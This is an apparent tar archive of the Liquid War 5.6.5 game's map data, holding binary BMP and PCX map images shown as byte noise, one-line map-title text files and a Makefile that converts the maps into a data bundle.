!!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~liquidwar-5.6.5/data/map/anaglyph2.bmp0000664000372000037200000020520013407756104017213 0ustar travistravisBM >(  liquidwar-5.6.5/data/map/bonoball.txt0000664000372000037200000000001013407756104017147 0ustar travistravisBallons liquidwar-5.6.5/data/map/village.txt0000664000372000037200000000001013407756104017002 0ustar travistravisVillage liquidwar-5.6.5/data/map/carres.pcx0000664000372000037200000000655713407756104016637 0ustar travistravis @ liquidwar-5.6.5/data/map/lwtab003.pcx0000664000372000037200000000601313407756104016677 0ustar travistravis c@d liquidwar-5.6.5/data/map/fils.txt0000664000372000037200000000001713407756104016323 0ustar travistravisEmberlificoted liquidwar-5.6.5/data/map/portable.pcx0000664000372000037200000001433313407756104017157 0ustar travistravis +,,, liquidwar-5.6.5/data/map/lwtabto4.txt0000664000372000037200000000001413407756104017123 0ustar travistravisLW3 - Bricksliquidwar-5.6.5/data/map/4zones.txt0000664000372000037200000000001013407756104016601 0ustar travistravis4 zones liquidwar-5.6.5/data/map/007.txt0000664000372000037200000000002113407756104015667 0ustar travistravisBond, James Bond liquidwar-5.6.5/data/map/peur.txt0000664000372000037200000000000713407756104016340 0ustar travistravisScared liquidwar-5.6.5/data/map/psyforcespheralcube.txt0000664000372000037200000000002613407756104021436 0ustar travistravisPsyforce Spheral Cube liquidwar-5.6.5/data/map/echange.pcx0000664000372000037200000001660713407756104016747 0ustar travistravis ,@-- liquidwar-5.6.5/data/map/lost.bmp0000664000372000037200000020717013407756104016317 0ustar travistravisBMx6(``  !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~i1.OFAEOWliquidwar-5.6.5/data/map/bigm.txt0000664000372000037200000000001613407756104016303 0ustar travistravisKasper - bigm liquidwar-5.6.5/data/map/centrik.txt0000664000372000037200000000002113407756104017020 0ustar travistravisYou are sleeping liquidwar-5.6.5/data/map/darkone3.bmp0000664000372000037200000004370613407756104017047 0ustar travistravisBMG>(GG?????ah?ma?/I?lo?Sh?l?????????????????????????????????????????????????????????????????????????????liquidwar-5.6.5/data/map/Makefile.in0000664000372000037200000000404213407756104016674 0ustar travistravisALLEGRO_DAT = dat DST_EXT = map SRC_EXT1 = pcx SRC_EXT2 = bmp MAP_NAMES = \ 007 \ 2d \ 213 \ 3d \ 3x3 \ 4zones \ 666 \ 8 \ ac \ alstar1 \ anaglyph1 \ anaglyph2 \ aquarium \ around \ bestiole \ biere \ big \ blemmya \ boa \ bored \ bonoball \ bubbles \ card \ carreaux \ carres \ centrik \ charming \ chenille \ chess \ chinois \ circle \ circlus \ clean \ clown \ coccinel \ coeurs \ confuse \ cornet3b \ crown \ darkone1 \ darkone2 \ darkone3 \ darkone4 \ derivsol \ dirt \ donuts \ echange \ echlune \ egg \ etoile \ eyes \ feuille \ fille \ fils \ flo1 \ garcon \ garden \ glasses \ h \ haricot \ hi \ honey \ honeymoon \ jabberwocky \ lapin \ labyrint \ liqwar \ logo \ lost \ lw \ lwtab002 \ lwtab003 \ lwtab004 \ lwtab005 \ lwtab006 \ lwtab008 \ lwtab009 \ lwtabbar \ lwtabdrt \ lwtabgen \ lwtabmic \ lwtabrec \ lwtabses \ lwtabto2 \ lwtabto4 \ lwtabtom \ lwtabtru \ lwtabvid \ marionet \ metation \ mouse1 \ muehle \ musique \ net1 \ net2 \ ordino \ paper \ papercut \ papillon \ pastel \ place \ penta \ peur \ pieuvre \ pigface \ platform \ poisson \ policier \ portable \ psyforcegeometry \ psyforcemultiroom \ psyforcespheralcube \ psyforcesquares \ psyforceultramultiroom \ puckman \ quaders \ rect \ rectangle \ rene02 \ rene03 \ rene04 \ rolz \ rough \ sgdb \ skull \ skullbig \ slimy \ smile \ sol \ solsystembyn \ sonnesystem \ spagueti \ strike \ tag \ tuyaux \ tiles \ tilt \ tipi \ titanic \ trumpet \ tulipes \ underground \ velo \ village \ void \ volet \ watch \ world1 \ world2 \ world3 \ world4 \ z MAP_FILES = $(addsuffix .$(DST_EXT), $(MAP_NAMES)) all: map.dat map.dat: $(MAP_FILES) @rm -f $@ @echo Creating map.dat @dat -a -t raw map.dat $(MAP_FILES) clean: @rm -f *.$(DST_EXT) *.dat distclean: @rm -f Makefile %.$(DST_EXT): %.$(SRC_EXT1) @echo Converting $< to $@ @../../utils/liquidwarmap -s $< %.$(DST_EXT): %.$(SRC_EXT2) @echo Converting $< to $@ @../../utils/liquidwarmap -s $< liquidwar-5.6.5/data/map/watch.bmp0000664000372000037200000020717013407756104016444 0ustar travistravisBMx6(    !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~liquidwar-5.6.5/data/map/lwtab002.txt0000664000372000037200000000002713407756104016722 0ustar travistravisLW3 - Small rectangles liquidwar-5.6.5/data/map/glasses.txt0000664000372000037200000000000713407756104017026 0ustar travistravisGlassesliquidwar-5.6.5/data/map/lwtab009.txt0000664000372000037200000000003613407756104016731 0ustar travistravisLW3 - Symetric walls (double) liquidwar-5.6.5/data/map/bonoball.pcx0000664000372000037200000001017413407756104017136 0ustar travistravis @ liquidwar-5.6.5/data/map/liqwar.txt0000664000372000037200000000003513407756104016665 0ustar travistravisWhat's the name of the game? liquidwar-5.6.5/data/map/bestiole.txt0000664000372000037200000000001513407756104017172 0ustar travistravisHappy spider liquidwar-5.6.5/data/map/peur.pcx0000664000372000037200000000563313407756104016325 0ustar travistravis g@h liquidwar-5.6.5/data/map/strike.txt0000664000372000037200000000000713407756104016666 0ustar travistravisStrike liquidwar-5.6.5/data/map/eyes.bmp0000664000372000037200000020717013407756104016303 0ustar travistravisBMx6(    !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~Fbp)à/EGMԷ"v}3mL.o[UuqW=)>WOMo#;;Xliquidwar-5.6.5/data/map/logo.txt0000664000372000037200000000001613407756104016325 0ustar travistravisKasper - Logo liquidwar-5.6.5/data/map/quaders.bmp0000664000372000037200000004370613407756104017005 0ustar travistravisBMG>(GGahma/IloShlliquidwar-5.6.5/data/map/circlus.bmp0000664000372000037200000020717013407756104017002 0ustar travistravisBMx6(    !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~ulYliquidwar-5.6.5/data/map/card.bmp0000664000372000037200000020717013407756104016247 0ustar travistravisBMx6(    !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~liquidwar-5.6.5/data/map/world3.txt0000664000372000037200000000001013407756104016571 0ustar travistravisWorld 3 liquidwar-5.6.5/data/map/egg.txt0000664000372000037200000000001513407756104016126 0ustar travistravisKasper - Egg liquidwar-5.6.5/data/map/lw.txt0000664000372000037200000000002013407756104016002 0ustar travistravisKasper - Logo 2 liquidwar-5.6.5/data/map/place.txt0000664000372000037200000000001713407756104016452 0ustar travistravisKasper - Retro liquidwar-5.6.5/data/map/puckman.bmp0000664000372000037200000020717013407756104016774 0ustar travistravisBMx6(    !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~liquidwar-5.6.5/data/map/lwtabgen.txt0000664000372000037200000000003113407756104017165 0ustar travistravis*The NEW* genuine LW map liquidwar-5.6.5/data/map/lwtab006.txt0000664000372000037200000000002513407756104016724 0ustar travistravisLW3 - Puzzle for kidsliquidwar-5.6.5/data/map/tag.txt0000664000372000037200000000002313407756104016136 0ustar travistravisJan - Three blocks liquidwar-5.6.5/data/map/jabberwocky.bmp0000664000372000037200000020717013407756104017640 0ustar travistravisBMx6(    !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~tBq_N @<* ~'@6+D6SBbJNxfUC1 &yaI 1}ZS)7"[ .> /zX,^C5I$oO_[eoG.ߵ' :feW=oQYoKUG}eliquidwar-5.6.5/data/map/chenille.txt0000664000372000037200000000001513407756104017147 0ustar travistravisSlow slow... liquidwar-5.6.5/data/map/underground.bmp0000664000372000037200000020717013407756104017672 0ustar travistravisBMx6(    !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~EŀŀŀŀŀŀEH?P9E$:pRS]s? sliquidwar-5.6.5/data/map/village.pcx0000664000372000037200000000632713407756104016776 0ustar travistravis @ liquidwar-5.6.5/data/map/lwtabtru.pcx0000664000372000037200000000353213407756104017212 0ustar travistravis O1@PP2 liquidwar-5.6.5/data/map/slimy.txt0000664000372000037200000000001713407756104016523 0ustar travistravisKasper - Slimy liquidwar-5.6.5/data/map/cornet3b.txt0000664000372000037200000000001213407756104017100 0ustar travistravisSluuuuurp liquidwar-5.6.5/data/map/sgdb.pcx0000664000372000037200000001255313407756104016270 0ustar travistravis @ liquidwar-5.6.5/data/map/darkone1.txt0000664000372000037200000000002113407756104017065 0ustar travistravisJan - Dark One 1 liquidwar-5.6.5/data/map/4zones.pcx0000664000372000037200000000653113407756104016572 0ustar travistravis ,, liquidwar-5.6.5/data/map/lwtab004.pcx0000664000372000037200000000507613407756104016710 0ustar travistravis c@d liquidwar-5.6.5/data/map/garden.txt0000664000372000037200000000002513407756104016625 0ustar travistravisKasper - Labyrinth 3 liquidwar-5.6.5/data/map/egg.bmp0000664000372000037200000020520013407756104016070 0ustar travistravisBM >(  q_N @<* ~'@6+D6SBbJNxfUC1 &yaI 1}ZS)7"[ .> /zX,`qz`TG>>===<<<;;;:::999888777666555444333222111000///...---,,,+++***)))((('''&&&%%%$$$###"""!!!  liquidwar-5.6.5/data/map/volet.txt0000664000372000037200000000000713407756104016516 0ustar travistravisWindow liquidwar-5.6.5/data/map/glasses.pcx0000664000372000037200000002417713407756104017017 0ustar travistravis ,, liquidwar-5.6.5/data/map/biere.txt0000664000372000037200000000002113407756104016447 0ustar travistravisSerieux destroy! liquidwar-5.6.5/data/map/poisson.txt0000664000372000037200000000000513407756104017055 0ustar travistravisFish liquidwar-5.6.5/data/map/marionet.pcx0000664000372000037200000001116313407756104017163 0ustar travistravis @ liquidwar-5.6.5/data/map/lwtab004.txt0000664000372000037200000000003013407756104016716 0ustar travistravisLW3 - Circles and pipes liquidwar-5.6.5/data/map/paper.bmp0000664000372000037200000102267013407756104016446 0ustar travistravisBM%6(2    !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~liquidwar-5.6.5/data/map/tuyaux.pcx0000664000372000037200000002023013407756104016677 0ustar travistravis +,, liquidwar-5.6.5/data/map/etoile.pcx0000664000372000037200000000616413407756104016633 0ustar travistravis @ liquidwar-5.6.5/data/map/muehle.txt0000664000372000037200000000002013407756104016637 0ustar travistravisJan - Aim at it liquidwar-5.6.5/data/map/tag.bmp0000664000372000037200000003630613407756104016112 0ustar travistravisBM<>(*<?????????????????????????L_M????????????????????U???????????????????????????????????????????????????????????l; ?sc/?MOD?agi?al/?kSh?K_.??????????????????????????????????J@?A?J@?@??J@???????????????????????????????????????9??????????????J@??????????????????????????????????????????????????????????????????????????????????liquidwar-5.6.5/data/map/labyrint.txt0000664000372000037200000000002513407756104017211 0ustar travistravisKasper - Labyrinth 4 liquidwar-5.6.5/data/map/void.txt0000664000372000037200000000000513407756104016324 0ustar travistravisVoid liquidwar-5.6.5/data/map/lapin.txt0000664000372000037200000000001713407756104016471 0ustar travistravisWhat's up doc? liquidwar-5.6.5/data/map/666.txt0000664000372000037200000000002613407756104015707 0ustar travistravisWhose number is that? liquidwar-5.6.5/data/map/tulipes.pcx0000664000372000037200000001227213407756104017034 0ustar travistravis w@x liquidwar-5.6.5/data/map/anaglyph1.bmp0000664000372000037200000020520013407756104017212 0ustar travistravisBM >(  ѿ]ӯ+_eozfC.c,ׯ}bBvϿC;x݇I).>cliquidwar-5.6.5/data/map/psyforcemultiroom.txt0000664000372000037200000000002313407756104021165 0ustar travistravisPysforce Multiroom liquidwar-5.6.5/data/map/coeurs.txt0000664000372000037200000000001213407756104016661 0ustar travistravisMmmmmmmmm liquidwar-5.6.5/data/map/666.pcx0000664000372000037200000001123713407756104015670 0ustar travistravis +,,, liquidwar-5.6.5/data/map/world1.txt0000664000372000037200000000001013407756104016567 0ustar travistravisWorld 1 liquidwar-5.6.5/data/map/007.pcx0000664000372000037200000000474413407756104015662 0ustar travistravis S@T liquidwar-5.6.5/data/map/echange.txt0000664000372000037200000000001013407756104016751 0ustar travistravisHighway liquidwar-5.6.5/data/map/lost.txt0000664000372000037200000000001613407756104016346 0ustar travistravisKasper - Lost liquidwar-5.6.5/data/map/pieuvre.pcx0000664000372000037200000001433013407756104017023 0ustar travistravis @ liquidwar-5.6.5/data/map/coccinel.txt0000664000372000037200000000001113407756104017137 0ustar travistravisNice bug liquidwar-5.6.5/data/map/fille.pcx0000664000372000037200000000524613407756104016445 0ustar travistravis s@tt liquidwar-5.6.5/data/map/ordino.txt0000664000372000037200000000001113407756104016652 0ustar travistravisComputer liquidwar-5.6.5/data/map/rene02.txt0000664000372000037200000000001213407756104016454 0ustar travistravisRene - 02 liquidwar-5.6.5/data/map/psyforcesquares.bmp0000664000372000037200000004335613407756104020600 0ustar travistravisBMF>(\F ||<<<<<<||?????????????????????????????????????????????????????????????????????~~?~~~~~~|~|?~<?<?<<<<<<?||??liquidwar-5.6.5/data/map/darkone2.bmp0000664000372000037200000004370613407756104017046 0ustar travistravisBMG>(GGahma/IloShlliquidwar-5.6.5/data/map/centrik.pcx0000664000372000037200000001310113407756104016776 0ustar travistravis @ liquidwar-5.6.5/data/map/anaglyph1.txt0000664000372000037200000000002413407756104017250 0ustar travistravisKasper - Anaglyph 1 liquidwar-5.6.5/data/map/platform.txt0000664000372000037200000000001213407756104017205 0ustar travistravisPlatforms liquidwar-5.6.5/data/map/donuts.pcx0000664000372000037200000000756213407756104016671 0ustar travistravis @ liquidwar-5.6.5/data/map/rene03.txt0000664000372000037200000000001213407756104016455 0ustar travistravisRene - 03 liquidwar-5.6.5/data/map/hi.bmp0000664000372000037200000007505213407756104015740 0ustar travistravisBM*z>( y_Mc/Maπod~?gi?~??~???????~?~?~????~?~?~??????~??~?~????~?&P?~????????~??~~??~~??~??????????~??~~?πliquidwar-5.6.5/data/map/logo.bmp0000664000372000037200000020717013407756104016276 0ustar travistravisBMx6(    !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~x"R[sNMvvE/zW^a._ͬ޵^:Lxliquidwar-5.6.5/data/map/circle.txt0000664000372000037200000000002013407756104016621 0ustar travistravisKasper - Circle liquidwar-5.6.5/data/map/lwtabdrt.txt0000664000372000037200000000001713407756104017211 0ustar travistravisLW3 - Geometricliquidwar-5.6.5/data/map/skull.txt0000664000372000037200000000002113407756104016513 0ustar travistravisKasper - Skull 1 liquidwar-5.6.5/data/map/blemmya.bmp0000664000372000037200000020717013407756104016764 0ustar travistravisBMx6(  !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~>kl)$%)$>liquidwar-5.6.5/data/map/z.txt0000664000372000037200000000000213407756104015631 0ustar travistravisZ liquidwar-5.6.5/data/map/world4.txt0000664000372000037200000000001013407756104016572 0ustar travistravisWorld 4 liquidwar-5.6.5/data/map/bubbles.txt0000664000372000037200000000001613407756104017003 0ustar travistravisJan - Bubbles liquidwar-5.6.5/data/map/darkone1.bmp0000664000372000037200000004370613407756104017045 0ustar travistravisBMG>(GG???ahma/IloShl????~???|~??|~?>>>>>>?>~>>>>>>?>>>>>??????~?~?????liquidwar-5.6.5/data/map/crown.pcx0000664000372000037200000001014713407756104016476 0ustar travistravis ,, liquidwar-5.6.5/data/map/paper.txt0000664000372000037200000000001713407756104016475 0ustar travistravisKasper - Big 2 liquidwar-5.6.5/data/map/lwtab008.txt0000664000372000037200000000003313407756104016725 0ustar travistravisLW3 - Symetric walls (half)liquidwar-5.6.5/data/map/underground.txt0000664000372000037200000000002513407756104017721 0ustar travistravisKasper - Underground liquidwar-5.6.5/data/map/circlus.txt0000664000372000037200000000002113407756104017025 0ustar travistravisKasper - Space 1 liquidwar-5.6.5/data/map/skull.bmp0000664000372000037200000020717013407756104016470 0ustar travistravisBMx6(  !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~liquidwar-5.6.5/data/map/quaders.txt0000664000372000037200000000001613407756104017031 0ustar travistravisJan - Quaders liquidwar-5.6.5/data/map/alstar1.txt0000664000372000037200000000002613407756104016735 0ustar travistravisAlstar - Alstar's map liquidwar-5.6.5/data/map/charming.bmp0000664000372000037200000020520013407756104017116 0ustar travistravisBM >(  liquidwar-5.6.5/data/map/sgdb.txt0000664000372000037200000000001313407756104016301 0ustar travistravis91700 SGDB liquidwar-5.6.5/data/map/aquarium.pcx0000664000372000037200000002043213407756104017170 0ustar travistravis g,, liquidwar-5.6.5/data/map/confuse.bmp0000664000372000037200000020717013407756104017000 0ustar travistravisBMx6(    !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~liquidwar-5.6.5/data/map/rectangle.bmp0000664000372000037200000020520013407756104017272 0ustar travistravisBM >(  liquidwar-5.6.5/data/map/tipi.txt0000664000372000037200000000000513407756104016330 0ustar travistravisTipi liquidwar-5.6.5/data/map/boa.txt0000664000372000037200000000003113407756104016123 0ustar travistravisAn elephant inside a boa liquidwar-5.6.5/data/map/trumpet.txt0000664000372000037200000000001013407756104017057 0ustar travistravisTrumpet liquidwar-5.6.5/data/map/puckman.txt0000664000372000037200000000002113407756104017017 0ustar travistravisKasper - Puckman liquidwar-5.6.5/data/map/lwtabses.pcx0000664000372000037200000000565013407756104017175 0ustar travistravis c@d liquidwar-5.6.5/data/map/around.txt0000664000372000037200000000002013407756104016650 0ustar travistravisKasper - Around liquidwar-5.6.5/data/map/psyforcegeometry.txt0000664000372000037200000000002213407756104020770 0ustar travistravisPsyforce Geometry liquidwar-5.6.5/data/map/rectangle.txt0000664000372000037200000000002513407756104017331 0ustar travistravisKasper - Rectangle 2 liquidwar-5.6.5/data/map/confuse.txt0000664000372000037200000000002113407756104017023 0ustar travistravisKasper - confuse liquidwar-5.6.5/data/map/3d.bmp0000664000372000037200000020717013407756104015644 0ustar travistravisBMx6(    !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~liquidwar-5.6.5/data/map/anaglyph2.txt0000664000372000037200000000002413407756104017251 0ustar travistravisKasper - Anaglyph 2 liquidwar-5.6.5/data/map/mouse1.txt0000664000372000037200000000001213407756104016572 0ustar travistravisMouse - 1 liquidwar-5.6.5/data/map/h.bmp0000664000372000037200000003630613407756104015566 0ustar travistravisBM<>(*<L_MUl; sc/MODagial/kShK_.J@AJ@@J@9J@liquidwar-5.6.5/data/map/alstar1.pcx0000664000372000037200000001070313407756104016713 0ustar travistravis @  liquidwar-5.6.5/data/map/ac.txt0000664000372000037200000000001413407756104015746 0ustar travistravisKasper - Ac liquidwar-5.6.5/data/map/muehle.bmp0000664000372000037200000007505213407756104016617 0ustar travistravisBM*z>( y_Mc/Maodgi||||||||||||||||||||||||||||||?|?|?|?|?|?|?|?|?|?|?|?|?|?|?|?|?|?|?|?|?|?|??????????????????????????|?|?|?|?|?|?|?|?|?|?|?|?|?|?|?|?|?|?|?|?|?|?|?|?|?|?|?|?|?|?|???????|?|?|?|?|??|?|?|?|??|??|?~|~?~|~?||>?|??|?|?|?|?|?|?|?|?|?|?|??||>?~|~?~|~??|??|?|?|?|?|?|??|?|?|?|???????|?|?|?|?|?|?|?|?|?|?|?|?|?|?|?|?|?|?|?|?|?|?|?|?|?|?|?|?|?|?|?&|?j:|?|?|?|?|?|?|?|?|?|?|??????????????????????????|?|?|?|?|?|?|?|?|?|?|?|?|?|?|?|?|?|?|?|?|?|?|?|?|?|?|?|?|?|||||||||||||||||||||||||||||liquidwar-5.6.5/data/map/mouse1.bmp0000664000372000037200000001214413407756104016542 0ustar travistravisBMd6(@. A???????$   + / 56JKI;H9(I6,I26{L-:zN(="PP&>&NS"@*LUC.J VvH WyF X{D Y~B Y@ Z>U <$,:!(9$9"9" 8'8,8/7073656 86 8 6 : 6 < 5 = 5 ? 5 ? 5 @ 4 A 4 C4 C3 D3 D3 E3 E4 E4 E4 E4 F4 F4 F5 E5 E5 F5 F5 E6 E6 E6 F6  E6  E7  E7 E7  D8  C9  B9  B :  @: ?; >; =< == <> :? 9? 7@ 4A 2B/C,C)E'G6H%F1K"D,N C %R @ U  =X $ ;]!%#7k##'46"*165+6<%5B6 J     ??s r hgfI jf>hf<ef9%Xf61K f33H#f24F)b .7D,` &=B/_AC2]@E4\<E7[ 8F:(!/3H< 9'I>(MK@.JNB4DUC 9>[F>bi          +o  )q .r ,s ) s ' 2@ %  ; $ : # $7  '64463828191;0=/=0?0@/ B/ B/ C/9E/9F.8G.8H.7J-6K,7K)8J'8J%8J$8J"8J 9J9J9J9J9J:I:I:H:H:G;F;F;E;E;D<C<B =@">>!}$?<#z&@;$wB8&tC6(qD4*nE2+lG..iJ)1g L%4d O 7aS;^W@[XT R! P$ M( K* F/ A5 <: 7@2F-c(g"lrx???Aliquidwar-5.6.5/data/map/psyforcesquares.txt0000664000372000037200000000002113407756104020617 0ustar travistravisPsyforce Squares liquidwar-5.6.5/data/map/skullbig.txt0000664000372000037200000000002113407756104017175 0ustar travistravisKasper - Skull 2 liquidwar-5.6.5/data/map/smile.bmp0000664000372000037200000020717013407756104016447 0ustar travistravisBMx6( . .  !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~Q?:7]ĔQ\ wq:I+liquidwar-5.6.5/data/map/lwtabrec.txt0000664000372000037200000000002113407756104017164 0ustar travistravisLW3 - Thin walls liquidwar-5.6.5/data/map/metation.txt0000664000372000037200000000002413407756104017204 0ustar travistravisKasper - Carpe Diem liquidwar-5.6.5/data/map/lwtab002.pcx0000664000372000037200000000301113407756104016671 0ustar travistravis O1@PP2 liquidwar-5.6.5/data/map/garcon.pcx0000664000372000037200000000530313407756104016615 0ustar travistravis }@~~ liquidwar-5.6.5/data/map/pastel.bmp0000664000372000037200000020717013407756104016626 0ustar travistravisBMx6(    !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~ktmb0jliquidwar-5.6.5/data/map/policier.txt0000664000372000037200000000001213407756104017167 0ustar travistravisTriiiiiit liquidwar-5.6.5/data/map/coeurs.pcx0000664000372000037200000000643513407756104016653 0ustar travistravis v@w liquidwar-5.6.5/data/map/hi.txt0000664000372000037200000000003213407756104015763 0ustar travistravisJan - Fight in the middle liquidwar-5.6.5/data/map/rene02.bmp0000664000372000037200000001613613407756104016431 0ustar travistravisBM^>(  o" editc/tor-e e="%o""epmanaxBAFEilelegmodq --dNte it'com"%i="gsizpos seu;/ega"TrdBAOPAdTeaBi?le=?egaTruBATPAUTexBite=%gatx -%i"o' omm%o"?"ht? -U de/illeg?r/b"' ecopeg"%u??mpeand >>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~WVYUZ]VVfJUEI Gliquidwar-5.6.5/data/map/ac.bmp0000664000372000037200000045417013407756104015725 0ustar travistravisBMxX6(h    !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~۪zLzDٛ_$ܚYf!І<iWMMVg ߀!@g1d6w 